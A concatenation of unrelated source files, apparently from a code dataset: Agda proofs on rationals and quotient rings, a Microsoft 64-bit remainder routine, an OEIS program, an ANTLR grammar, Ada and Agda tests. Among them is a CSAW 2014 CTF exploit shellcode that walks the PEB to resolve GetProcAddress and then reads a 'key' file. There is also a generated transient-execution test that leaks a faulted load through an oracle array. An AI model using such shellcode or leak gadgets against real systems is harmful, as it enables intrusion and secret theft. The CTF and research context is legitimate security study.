canonical (num₁ *ℤ (+ den₂) +ℤ num₂ *ℤ (+ den₁)) (den₁ *ℕ den₂) {≢⇒¬≟ (n≢0∧m≢0⇒n*m≢0 (¬≟⇒≢ den₁≢0) (¬≟⇒≢ den₂≢0))} infix 8 -_ -_ : ℚ → ℚ - (ℚ✓ num den den≢0 num⊥den) = ℚ✓ (-ℤ num) den den≢0 (⊥-respˡ {den} (sym (∣-n∣≡∣n∣ num)) num⊥den) infixl 7 _*_ _*_ : ℚ → ℚ → ℚ (ℚ✓ num₁ den₁ den₁≢0 _) * (ℚ✓ num₂ den₂ den₂≢0 _) = canonical (num₁ *ℤ num₂) (den₁ *ℕ den₂) {≢⇒¬≟ (n≢0∧m≢0⇒n*m≢0 (¬≟⇒≢ den₁≢0) (¬≟⇒≢ den₂≢0))} infix 8 _⁻¹ _⁻¹ : ∀ (q : ℚ) {q≢0 : q ≢ 0} → ℚ (ℚ✓ +0 den den≢0 num⊥den ⁻¹) {q≢0} with gcd[0,a]≡1⇒a≡1 den num⊥den (ℚ✓ +0 .1 tt refl ⁻¹) {q≢0} | refl = contradiction refl q≢0 (ℚ✓ +[1+ num ] (suc den) den≢0 num⊥den) ⁻¹ = ℚ✓ +[1+ den ] (suc num) tt (⊥-sym {suc num} {suc den} num⊥den) (ℚ✓ -[1+ num ] (suc den) den≢0 num⊥den) ⁻¹ = ℚ✓ -[1+ den ] (suc num) tt (⊥-sym {suc num} {suc den} num⊥den) infixl 7 _/_ _/_ : ∀ (p q : ℚ) {q≢0 : q ≢ 0} → ℚ _/_ p q {q≢0}= p * (q ⁻¹) {q≢0} _≟_ : Decidable {A = ℚ} _≡_ (ℚ✓ num₁ (suc den₁) tt num₁⊥den₁) ≟ (ℚ✓ num₂ (suc den₂) tt num₂⊥den₂) = map (FE.equivalence forward backward) (num₁ ≟ℤ num₂ ×-dec den₁ ≟ℕ den₂) where forward : ∀ {num₁ num₂} {den₁ den₂} {num₁⊥den₁ num₂⊥den₂} → num₁ ≡ num₂ × den₁ ≡ den₂ → ℚ✓ num₁ (suc den₁) tt num₁⊥den₁ ≡ ℚ✓ num₂ (suc den₂) tt num₂⊥den₂ forward {num₁} {num₂} {den₁} {den₂} {num₁⊥den₁} {num₂⊥den₂} (refl , refl) = cong (λ pf → ℚ✓ num₁ (suc den₁) tt pf) (≡-irrelevant num₁⊥den₁ num₂⊥den₂) backward : ∀ {num₁ num₂} {den₁ den₂} {num₁⊥den₁ num₂⊥den₂} → ℚ✓ num₁ (suc den₁) tt num₁⊥den₁ ≡ ℚ✓ num₂ (suc den₂) tt num₂⊥den₂ → num₁ ≡ num₂ × den₁ ≡ den₂ backward refl = (refl , refl) ≢0 : ∀ {p : ℚ} {p≢0 : False (p ≟ 0)} → p ≢ 0 ≢0 {p} with p ≟ 0 ≢0 {p} | no p≢0 = p≢0 test = ((1 / 2) {≢0} + (3 / 4) {≢0}) ⁻¹ open import Data.String using (String; _++_) open import Data.Nat.Show using () renaming (show to show-ℕ) show-ℤ : ℤ → String show-ℤ (+ n) = show-ℕ n show-ℤ (-[1+ n ]) = "-" ++ show-ℕ (suc n) show-ℚ : ℚ → String show-ℚ (ℚ✓ num 1 _ _) = show-ℤ num show-ℚ (ℚ✓ num den _ _) = show-ℤ num ++ "/" ++ show-ℕ den
SOURCE/base/Kernel/Native/ix86/_llrem.asm
pmache/singularityrdk
3
81771
;******************************************************************************* ;llrem.asm - signed long remainder routine ; ; Copyright (c) Microsoft Corporation. All rights reserved. ; ;Purpose: ; defines the signed long remainder routine ; __allrem ; ;******************************************************************************* include hal.inc ;*** ;llrem - signed long remainder ; ;Purpose: ; Does a signed long remainder of the arguments. Arguments are ; not changed. ; ;Entry: ; Arguments are passed on the stack: ; 1st pushed: divisor (QWORD) ; 2nd pushed: dividend (QWORD) ; ;Exit: ; EDX:EAX contains the remainder (dividend%divisor) ; NOTE: this routine removes the parameters from the stack. ; ;Uses: ; ECX ; ;Exceptions: ; ;******************************************************************************* __allrem PROC NEAR push ebx push edi ; Set up the local stack and save the index registers. When this is done ; the stack frame will look as follows (assuming that the expression a%b will ; generate a call to lrem(a, b)): ; ; ----------------- ; | | ; |---------------| ; | | ; |--divisor (b)--| ; | | ; |---------------| ; | | ; |--dividend (a)-| ; | | ; |---------------| ; | return addr** | ; |---------------| ; | EBX | ; |---------------| ; ESP---->| EDI | ; ----------------- ; DVND equ [esp + 12] ; stack address of dividend (a) DVSR equ [esp + 20] ; stack address of divisor (b) ; Determine sign of the result (edi = 0 if result is positive, non-zero ; otherwise) and make operands positive. xor edi,edi ; result sign assumed positive mov eax,HIWORD(DVND) ; hi word of a or eax,eax ; test to see if signed jge short L1 ; skip rest if a is already positive inc edi ; complement result sign flag bit mov edx,LOWORD(DVND) ; lo word of a neg eax ; make a positive neg edx sbb eax,0 mov HIWORD(DVND),eax ; save positive value mov LOWORD(DVND),edx L1: mov eax,HIWORD(DVSR) ; hi word of b or eax,eax ; test to see if signed jge short L2 ; skip rest if b is already positive mov edx,LOWORD(DVSR) ; lo word of b neg eax ; make b positive neg edx sbb eax,0 mov HIWORD(DVSR),eax ; save positive value mov LOWORD(DVSR),edx L2: ; ; Now do the divide. First look to see if the divisor is less than 4194304K. ; If so, then we can use a simple algorithm with word divides, otherwise ; things get a little more complex. ; ; NOTE - eax currently contains the high order word of DVSR ; or eax,eax ; check to see if divisor < 4194304K jnz short L3 ; nope, gotta do this the hard way mov ecx,LOWORD(DVSR) ; load divisor mov eax,HIWORD(DVND) ; load high word of dividend xor edx,edx div ecx ; edx <- remainder mov eax,LOWORD(DVND) ; edx:eax <- remainder:lo word of dividend div ecx ; edx <- final remainder mov eax,edx ; edx:eax <- remainder xor edx,edx dec edi ; check result sign flag jns short L4 ; negate result, restore stack and return jmp short L8 ; result sign ok, restore stack and return ; ; Here we do it the hard way. Remember, eax contains the high word of DVSR ; L3: mov ebx,eax ; ebx:ecx <- divisor mov ecx,LOWORD(DVSR) mov edx,HIWORD(DVND) ; edx:eax <- dividend mov eax,LOWORD(DVND) L5: shr ebx,1 ; shift divisor right one bit rcr ecx,1 shr edx,1 ; shift dividend right one bit rcr eax,1 or ebx,ebx jnz short L5 ; loop until divisor < 4194304K div ecx ; now divide, ignore remainder ; ; We may be off by one, so to check, we will multiply the quotient ; by the divisor and check the result against the orignal dividend ; Note that we must also check for overflow, which can occur if the ; dividend is close to 2**64 and the quotient is off by 1. ; mov ecx,eax ; save a copy of quotient in ECX mul dword ptr HIWORD(DVSR) xchg ecx,eax ; save product, get quotient in EAX mul dword ptr LOWORD(DVSR) add edx,ecx ; EDX:EAX = QUOT * DVSR jc short L6 ; carry means Quotient is off by 1 ; ; do long compare here between original dividend and the result of the ; multiply in edx:eax. If original is larger or equal, we are ok, otherwise ; subtract the original divisor from the result. ; cmp edx,HIWORD(DVND) ; compare hi words of result and original ja short L6 ; if result > original, do subtract jb short L7 ; if result < original, we are ok cmp eax,LOWORD(DVND) ; hi words are equal, compare lo words jbe short L7 ; if less or equal we are ok, else subtract L6: sub eax,LOWORD(DVSR) ; subtract divisor from result sbb edx,HIWORD(DVSR) L7: ; ; Calculate remainder by subtracting the result from the original dividend. ; Since the result is already in a register, we will do the subtract in the ; opposite direction and negate the result if necessary. ; sub eax,LOWORD(DVND) ; subtract dividend from result sbb edx,HIWORD(DVND) ; ; Now check the result sign flag to see if the result is supposed to be positive ; or negative. It is currently negated (because we subtracted in the 'wrong' ; direction), so if the sign flag is set we are done, otherwise we must negate ; the result to make it positive again. ; dec edi ; check result sign flag jns short L8 ; result is ok, restore stack and return L4: neg edx ; otherwise, negate the result neg eax sbb edx,0 ; ; Just the cleanup left to do. edx:eax contains the quotient. ; Restore the saved registers and return. ; L8: pop edi pop ebx ret 16 __allrem ENDP end
Cubical/Algebra/Polynomials/Multivariate/EquivCarac/A[X]X-A.agda
thomas-lamiaux/cubical
0
16688
<filename>Cubical/Algebra/Polynomials/Multivariate/EquivCarac/A[X]X-A.agda {-# OPTIONS --safe --experimental-lossy-unification #-} module Cubical.Algebra.Polynomials.Multivariate.EquivCarac.A[X]X-A where open import Cubical.Foundations.Prelude open import Cubical.Foundations.Function open import Cubical.Foundations.Equiv open import Cubical.Foundations.Isomorphism open import Cubical.Data.Nat open import Cubical.Data.Vec open import Cubical.Data.Sigma open import Cubical.Data.FinData open import Cubical.Algebra.DirectSum.DirectSumHIT.Base open import Cubical.Algebra.Ring open import Cubical.Algebra.CommRing open import Cubical.Algebra.CommRing.FGIdeal open import Cubical.Algebra.CommRing.QuotientRing open import Cubical.Algebra.CommRing.Instances.Int renaming (ℤCommRing to ℤCR) open import Cubical.Algebra.CommRing.Instances.Polynomials.MultivariatePoly renaming (PolyCommRing to A[X1,···,Xn] ; Poly to A[x1,···,xn]) open import Cubical.Algebra.CommRing.Instances.Polynomials.MultivariatePoly-Quotient open import Cubical.Algebra.CommRing.Instances.Polynomials.MultivariatePoly-notationZ open import Cubical.Relation.Nullary open import Cubical.HITs.SetQuotients as SQ open import Cubical.HITs.PropositionalTruncation as PT private variable ℓ : Level ----------------------------------------------------------------------------- -- Functions module Properties-Equiv-QuotientXn-A (Ar@(A , Astr) : CommRing ℓ) where private A[X] : CommRing ℓ A[X] = A[X1,···,Xn] Ar 1 A[x] : Type ℓ A[x] = A[x1,···,xn] Ar 1 A[X]/X : CommRing ℓ A[X]/X = A[X1,···,Xn]/<Xkʲ> Ar 1 0 1 A[x]/x : Type ℓ A[x]/x = A[x1,···,xn]/<xkʲ> Ar 1 0 1 open CommRingStr Astr using () renaming ( 0r to 0A ; 1r to 1A ; _+_ to _+A_ ; -_ to -A_ ; _·_ to _·A_ ; +Assoc to +AAssoc ; +IdL to +AIdL ; +IdR to +AIdR ; +InvL to +AInvL ; +InvR to +AInvR ; +Comm to +AComm ; ·Assoc to ·AAssoc ; ·IdL to ·AIdL ; ·IdR to ·AIdR ; ·DistR+ to ·ADistR+ ; ·DistL+ to ·ADistL+ ; is-set to isSetA ) open CommRingStr (snd A[X] ) using () renaming ( 0r to 0PA ; 1r to 1PA ; _+_ to _+PA_ ; -_ to -PA_ ; _·_ to _·PA_ ; +Assoc to +PAAssoc ; +IdL to +PAIdL ; +IdR to +PAIdR ; +InvL to +PAInvL ; +InvR to +PAInvR ; +Comm to +PAComm ; ·Assoc to ·PAAssoc ; ·IdL to ·PAIdL ; ·IdR to ·PAIdR ; ·Comm to ·PAComm ; ·DistR+ to ·PADistR+ ; ·DistL+ to ·PADistL+ ; is-set to isSetPA ) open CommRingStr (snd A[X]/X) using () renaming ( 0r to 0PAI ; 1r to 1PAI ; _+_ to _+PAI_ ; -_ to -PAI_ ; _·_ to _·PAI_ ; +Assoc to +PAIAssoc ; +IdL to +PAIIdL ; +IdR to +PAIIdR ; +InvL to +PAIInvL ; +InvR to +PAIInvR ; +Comm to +PAIComm ; ·Assoc to ·PAIAssoc ; ·IdL to ·PAIIdL ; ·IdR to ·PAIIdR ; ·DistR+ to ·PAIDistR+ ; ·DistL+ to ·PAIDistL+ ; is-set to isSetPAI ) open RingTheory ----------------------------------------------------------------------------- -- Direct sens A[x]→A : A[x] → A A[x]→A = DS-Rec-Set.f _ _ _ _ isSetA 0A base-trad _+A_ +AAssoc +AIdR +AComm base-neutral-eq base-add-eq where base-trad : _ base-trad (zero ∷ []) a = a base-trad (suc k ∷ []) a = 0A base-neutral-eq : _ base-neutral-eq (zero ∷ []) = refl base-neutral-eq (suc k ∷ []) = refl base-add-eq : _ base-add-eq (zero ∷ []) a b = refl base-add-eq (suc k ∷ []) a b = +AIdR _ A[x]→A-pres1 : A[x]→A 1PA ≡ 1A A[x]→A-pres1 = refl A[x]→A-pres+ : (x y : A[x]) → (A[x]→A (x +PA y)) ≡ A[x]→A x +A A[x]→A y A[x]→A-pres+ x y = refl A[x]→A-pres· : (x y : A[x]) → (A[x]→A (x ·PA y)) ≡ A[x]→A x ·A A[x]→A y A[x]→A-pres· = DS-Ind-Prop.f _ _ _ _ (λ x u v i y → isSetA _ _ (u y) (v y) i) (λ y → sym (0LeftAnnihilates (CommRing→Ring Ar) _)) (λ v a → DS-Ind-Prop.f _ _ _ _ (λ _ → isSetA _ _) (sym (0RightAnnihilates (CommRing→Ring Ar) _)) (λ v' a' → base-eq a a' v v') (λ {U V} ind-U ind-V → cong₂ _+A_ ind-U ind-V ∙ sym (·ADistR+ _ _ _))) λ {U V} ind-U ind-V y → cong₂ _+A_ (ind-U y) (ind-V y) ∙ sym (·ADistL+ _ _ _) where base-eq : (a a' : A) → (v v' : Vec ℕ 1) → (A[x]→A (base v a ·PA base v' a')) ≡ A[x]→A (base v a) ·A A[x]→A (base v' a') base-eq a a' (zero ∷ []) (zero ∷ []) = refl base-eq a a' (zero ∷ []) (suc k' ∷ []) = sym (0RightAnnihilates (CommRing→Ring Ar) _) base-eq a a' (suc k ∷ []) (k' ∷ []) = sym (0LeftAnnihilates (CommRing→Ring Ar) _) A[X]→A : CommRingHom A[X] Ar fst A[X]→A = A[x]→A snd A[X]→A = makeIsRingHom A[x]→A-pres1 A[x]→A-pres+ A[x]→A-pres· A[x]→A-cancel : (k : Fin 1) → A[x]→A (<Xkʲ> Ar 1 0 1 k) ≡ 0A A[x]→A-cancel zero = refl A[X]/X→A : CommRingHom A[X]/X Ar A[X]/X→A = Quotient-FGideal-CommRing-CommRing.inducedHom A[X] Ar A[X]→A (<Xkʲ> Ar 1 0 1) A[x]→A-cancel A[x]/x→A : A[x]/x → A A[x]/x→A = fst A[X]/X→A ----------------------------------------------------------------------------- -- Converse sens A→A[x] : A → A[x] A→A[x] a = base (0 ∷ []) a A→A[x]-pres+ : (a a' : A) → A→A[x] (a +A a') ≡ A→A[x] a +PA A→A[x] a' A→A[x]-pres+ a a' = sym (base-add (0 ∷ []) a a') A→A[x]/x : A → A[x]/x A→A[x]/x = [_] ∘ A→A[x] A→A[x]/x-pres+ : (a a' : A) → A→A[x]/x (a +A a') ≡ A→A[x]/x a +PAI A→A[x]/x a' A→A[x]/x-pres+ a a' = cong [_] (A→A[x]-pres+ a a') ----------------------------------------------------------------------------- -- Section sens e-sect : (a : A) → A[x]→A (A→A[x] a) ≡ a e-sect a = refl ----------------------------------------------------------------------------- -- Retraction sens open IsRing e-retr : (x : A[x]/x) → A→A[x]/x (A[x]/x→A x) ≡ x e-retr = SQ.elimProp (λ x → isSetPAI _ _) (DS-Ind-Prop.f _ _ _ _ (λ x → isSetPAI _ _) (cong [_] (base-neutral _)) (λ v a → base-eq a v) λ {U V} ind-U ind-V → cong [_] ((A→A[x]-pres+ _ _)) ∙ cong₂ _+PAI_ ind-U ind-V) where base-eq : (a : A) → (v : Vec ℕ 1) → A→A[x]/x (A[x]/x→A [ (base v a) ]) ≡ [ (base v a) ] base-eq a (zero ∷ []) = cong [_] refl base-eq a (suc k ∷ []) = eq/ (base (0 ∷ []) 0A) (base (suc k ∷ []) a) ∣ ((λ x → base (k ∷ []) (-A a)) , helper) ∣₁ where helper : _ helper = cong (λ X → X +PA base (suc k ∷ []) (-A a)) (base-neutral _) ∙ +PAIdL _ ∙ sym (+PAIdR _ ∙ cong₂ base (cong (λ X → X ∷ []) (+-suc _ _ ∙ +-zero _)) (·AIdR _)) module _ (Ar@(A , Astr) : CommRing ℓ) where open Iso open Properties-Equiv-QuotientXn-A Ar Equiv-A[X]/X-A : CommRingEquiv (A[X1,···,Xn]/<Xkʲ> Ar 1 0 1) Ar fst Equiv-A[X]/X-A = isoToEquiv is where is : Iso (A[x1,···,xn]/<xkʲ> Ar 1 0 1) A fun is = A[x]/x→A inv is = A→A[x]/x rightInv is = e-sect leftInv is = e-retr snd Equiv-A[X]/X-A = snd A[X]/X→A Equiv-ℤ[X]/X-ℤ : RingEquiv (CommRing→Ring ℤ[X]/X) (CommRing→Ring ℤCR) Equiv-ℤ[X]/X-ℤ = Equiv-A[X]/X-A ℤCR
oeis/162/A162395.asm
neoneye/loda-programs
11
172326
<reponame>neoneye/loda-programs<filename>oeis/162/A162395.asm ; A162395: a(n) = -(-1)^n * n^2. ; 1,-4,9,-16,25,-36,49,-64,81,-100,121,-144,169,-196,225,-256,289,-324,361,-400,441,-484,529,-576,625,-676,729,-784,841,-900,961,-1024,1089,-1156,1225,-1296,1369,-1444,1521,-1600,1681,-1764,1849,-1936,2025,-2116,2209,-2304,2401,-2500,2601,-2704,2809,-2916,3025,-3136,3249,-3364,3481,-3600,3721,-3844,3969,-4096,4225,-4356,4489,-4624,4761,-4900,5041,-5184,5329,-5476,5625,-5776,5929,-6084,6241,-6400,6561,-6724,6889,-7056,7225,-7396,7569,-7744,7921,-8100,8281,-8464,8649,-8836,9025,-9216,9409,-9604 mov $1,-2 bin $1,$0 add $0,1 mul $0,$1
Xholon/src/org/public/lib/antlr4g/RoomKSW01.g4
kenwebb/Xholon
1
17
/* * This ANTLR4 grammar was manually created by <NAME> from Room.xtext * August 1, 2017 * parser rules start with a lowercase letter * lexer rules start with a capital letter * TODO FQN and ID rules are ambiguous; how do I deal with this ? */ grammar RoomKSW01; roomModel : 'RoomModel' ID (Documentation)? '{' ( dataClass | generalProtocolClass | actorClass | subSystemClass | logicalSystem | ImportRoom )* '}' ; logicalSystem : 'LogicalSystem' ID '{' ( subSystemRef )* '}' ; //subSystemRef : 'SubSystemRef' ID ':' ID (Documentation)? ; subSystemRef : 'SubSystemRef' RoomName ID (Documentation)? ; subSystemClass : 'SubSystemClass' ID (Documentation)? '{' ( logicalThread | layerConnection | actorRef )* '}' ; logicalThread : 'LogicalThread' ID ; layerConnection : 'LayerConnection' 'ref' ID 'satisfied_by' ID ; generalProtocolClass : protocolClass | compoundProtocolClass ; protocolClass : 'ProtocolClass' ID (Documentation)? ( 'extends' ID )? '{' ('incoming' '{' message* '}')? ('outgoing' '{' message* '}')? ('regular' 'PortClass' portClass)? ('conjugated' 'PortClass' portClass)? '}' ; compoundProtocolClass : 'CompoundProtocolClass' ID (Documentation)? '{' subProtocol* '}' ; subProtocol : 'SubProtocol' ID ':' ID ; message : ('private')? 'Message' ID '(' (varDecl)? ')' (Documentation)? ; varDecl : ID ; portClass : '{' '}' ; actorRef : (ReferenceType)? 'ActorRef' ( ( ID (MULTIPLICITY)? ':' ) | RoomName ) ID (Documentation)? ; actorClass : 'ActorClass' ID (Documentation)? ( 'extends' ID )? '{' ( 'Interface' '{' '}' )? ( structure )? ( behavior )? '}' ; structure : 'Structure' '{' ( actorRef )* '}' ; behavior : 'Behavior' '{' stateMachine '}' ; stateMachine : 'StateMachine' '{' '}' ; dataClass : 'DataClass' ID (Documentation)? ( 'extends' ID )? '{' ID '}' ; //importRoom : 'import' ( importedFQN 'from' | 'model' ) ID ; // for now, ignore import ImportRoom : 'import' ~[\r\n]* -> skip ; importedFQN : 'impotodo' ; //FQN ('.*')? ; ReferenceType : 'rtypetodo' ; MULTIPLICITY : '[' ( '*'|INT ) ']' ; // FQN and ID rules are ambiguous //FQN : ID ('.' ID)* ; Documentation : '[' 'doctodo' ']' ; //fragment //StringLiteral // : '"' StringCharacters? '"' // ; //fragment //StringCharacters // : StringCharacter+ // ; //fragment //StringCharacter // : ~["\\\r\n] // ; // [0-9a-fA-F] //HEX : ('0x'|'0X') ('0'..'9'|'a'..'f'|'A'..'F')+ ; //ID : '^'? ('a'..'z'|'A'..'Z'|'_') ('a'..'z'|'A'..'Z'|'_'|'0'..'9')*; //ID : [a-zA-Z_] [a-zA-Z0-9_]*; ID : [a-zA-Z] [a-zA-Z0-9]* ; // roleName, portName, and any other name that ends in ":" RoomName : [a-zA-Z] [a-zA-Z0-9]* [:] ; // '0' | [1-9] [0-9]* //INT : ('0'..'9')+; fragment INT : [0-9]+ ; // KSW this causes error(50) //RULE_STRING : ('"' ('\\' .|~(('\\'|'"')))* '"'|'\'' ('\\' .|~(('\\'|'\'')))* '\''); // Java //STRING : ('"' ('\\' .|~('\\'|'"'))* '"'|'\'' ('\\' .|~('\\'|'\''))* '\'') ; // JavaScript //RULE_ML_COMMENT : '/*' ( options {greedy=false;} : . )*'*/'; // Java //ML_COMMENT : '/*' ( . )*?'*/'; // JavaScript ML_COMMENT : '/*' .*? '*/' -> skip ; // KSW this causes error(50) //RULE_SL_COMMENT : '//' ~(('\n'|'\r'))* ('\r'? '\n')?; // Java //SL_COMMENT : '//' ~('\n'|'\r')* ('\r'? '\n')?; // JavaScript SL_COMMENT : '//' ~[\r\n]* -> skip ; //WS : (' '|'\t'|'\r'|'\n')+; WS : [ \n\t\r]+ -> skip ; //ANY_OTHER : . ;
basic_types_ranges.adb
hsgrewal/learning-ada
0
16299
<reponame>hsgrewal/learning-ada -- basic_types_ranges.adb with Ada.Text_IO; use Ada.Text_IO; procedure basic_types_ranges is begin Put_Line("The min range of an integer [" & Integer'Image(Integer'First) & "] and the max range of an integer [" & Integer'Image(Integer'Last) & "]."); Put_Line("The min range of a positive [" & Positive'Image(Positive'First) & "] and the max range of a positive [" & Positive'Image(Positive'Last) & "]."); Put_Line("The min range of a natural [" & Natural'Image(Natural'First) & "] and the max range of a natural [" & Natural'Image(Natural'Last) & "]."); end basic_types_ranges;
test/Succeed/InjectiveTypeConstructors.agda
alhassy/agda
3
9977
{-# OPTIONS --injective-type-constructors #-} module InjectiveTypeConstructors where data D (A : Set) : Set where data _==_ (A : Set) : Set → Set where refl : A == A injD : ∀ {A B} → D A == D B → A == B injD refl = refl
csaw-2014/exploit/400-1/shellcode.asm
anarcheuz/CTF
2
160228
;greenhornd shellcode to parse PEB BITS 32 [SECTION .text] _start: push ebp mov ebp, esp sub esp, 10h ;save ptr to shellcode in eax mov dword [ebp-4], eax mov ebx, [fs:30h] ; TEB:30h -> PEB mov ebx, [ebx+0ch] ; _PEB_LDR_DATA mov ebx, [ebx+14h] ; InMemoryOrderModuleList (FLINK, BLINK) mov ebx, [ebx] ; mov ebx, [ebx] mov ebx, [ebx+10h] ;ebx at the base of kernel32 mov esi, dword [ebx+3ch] ;PE header off add esi, ebx mov esi, dword [esi+78h] ;export table off add esi, ebx push esi mov edi, dword [esi+20h] ;export name table add edi, ebx mov ecx, dword [esi+14h] ; # of exported func xor eax, eax ;counter findGetProcAddress: push edi push ecx mov edi, dword [edi] add edi, ebx ; load base address (that's when we pushed eax) ; then get the address to "GetProcAddress" mov esi, getProcAddressName add esi, dword [ebp-4] xor ecx, ecx mov cl, 0eh repe cmpsb pop ecx pop edi ; Did we find GetProcAddress? je foundGetProcAddress add edi, 4 inc eax loop findGetProcAddress ; If we ever get here, it means that we couldn't find it. ud2a foundGetProcAddress: ; This calculates the address of `GetProcAddress` from its index in the ; export name table. pop esi mov edx, dword [esi+24h] add edx, ebx shl eax, 1 add eax, edx xor ecx, ecx mov cx, word [eax] mov eax, dword [esi+1ch] add eax, ebx shl ecx, 2 add eax, ecx mov edx, dword [eax] add edx, ebx ; edx is now the address to GetProcAddress pop esi mov edi, esi xor ecx, ecx doExploit: ; To make register management easier, just put everything on the stack. ; It's not like we need a lot of speed anyways. mov dword [ebp-8], edx ; address of GetProcAddress mov dword [ebp-0ch], ebx ; address of Kernel32 ; get pointer to CreateFileA mov esi, createFileAName add esi, dword [ebp-4] push esi push dword [ebp-0ch] call dword [ebp-8] ; put it in ebx mov ebx, eax ; call CreateFileA with "key" push 79656bh ; 'key\0' as a little-endian integer mov eax, esp push 0 push 128 push 3 push 0 push 1 mov ecx, 80000000h push ecx push eax call ebx add esp, 4 ; save handle push eax ; get pointer to ReadFile mov esi, readFileName add esi, dword [ebp-4] push esi push dword [ebp-0ch] call dword [ebp-8] ; call ReadFile pop ebx sub esp, 100h mov ecx, esp push 0 push 0 push 100h push ecx push ebx call eax ; call WriteOutput mov eax, dword [ebp-4] mov eax, dword [eax+writeOutput] push esp call eax ; crash. ud2a getProcAddressName db "GetProcAddress", 0 createFileAName db "CreateFileA", 0 readFileName db "ReadFile", 0 writeOutput dd 0xcccccccc ; meant to be overwritten by exploit
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1911.asm
ljhsiun2/medusa
9
173250
<reponame>ljhsiun2/medusa<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xc462, %r8 nop nop nop xor $45354, %rdx mov (%r8), %r12 and $14257, %rbp lea addresses_UC_ht+0x6882, %r11 xor %r10, %r10 mov (%r11), %r13 nop add $64175, %rbp lea addresses_WT_ht+0x18ba2, %rsi lea addresses_UC_ht+0x5562, %rdi nop inc %r11 mov $125, %rcx rep movsw nop nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0x173ca, %r13 and %rbp, %rbp movb (%r13), %r12b nop xor $64492, %rsi lea addresses_WC_ht+0xb462, %r8 nop add %r12, %r12 movl $0x61626364, (%r8) sub %r13, %r13 lea addresses_WT_ht+0x1da35, %rsi lea addresses_D_ht+0x10ba2, %rdi xor $21262, %r11 mov $1, %rcx rep movsw nop nop and $42004, %r8 lea addresses_WC_ht+0x8da2, %rsi nop nop dec %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm4 vmovups %ymm4, (%rsi) nop nop cmp %r11, %r11 lea addresses_UC_ht+0xca42, %rsi lea addresses_A_ht+0x9906, %rdi nop nop nop nop dec %rdx mov $101, %rcx rep movsq nop nop nop nop nop add $50073, %r10 lea addresses_WT_ht+0x732a, %rsi lea addresses_UC_ht+0x1b0aa, %rdi nop nop and %r10, %r10 mov $65, %rcx rep movsw nop nop nop sub %r13, %r13 lea addresses_UC_ht+0x13fa2, %rdi nop nop nop nop nop dec %r11 mov $0x6162636465666768, %r8 movq %r8, (%rdi) nop nop nop nop nop cmp %r11, %r11 lea addresses_WC_ht+0x13502, %rbp nop nop xor %r11, %r11 movb $0x61, (%rbp) nop nop sub $9454, %r10 lea addresses_WT_ht+0x113a2, %rdx nop nop cmp %r11, %r11 mov (%rdx), %esi nop nop xor $58167, %r10 lea addresses_D_ht+0xafe2, %rsi lea addresses_normal_ht+0x1534a, %rdi xor %rbp, %rbp mov $45, %rcx rep movsw nop cmp $16234, %r13 lea addresses_A_ht+0x63bb, %rcx nop nop nop nop xor %r12, %r12 vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r10 sub $52374, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %rbp push %rbx push %rcx push %rdx // Load lea addresses_UC+0xf3a2, %r14 nop nop nop nop add %rbp, %rbp vmovups (%r14), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rdx nop nop nop nop nop cmp %rbp, %rbp // Faulty Load lea addresses_UC+0xf3a2, %rbx nop nop nop nop nop xor %r14, %r14 movb (%rbx), %cl lea oracles, %r14 and $0xff, %rcx shlq $12, %rcx mov (%r14,%rcx,1), %rcx pop %rdx pop %rcx pop %rbx pop %rbp pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_UC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'37': 21829} 37 37 37 37 37 37 37 37 37 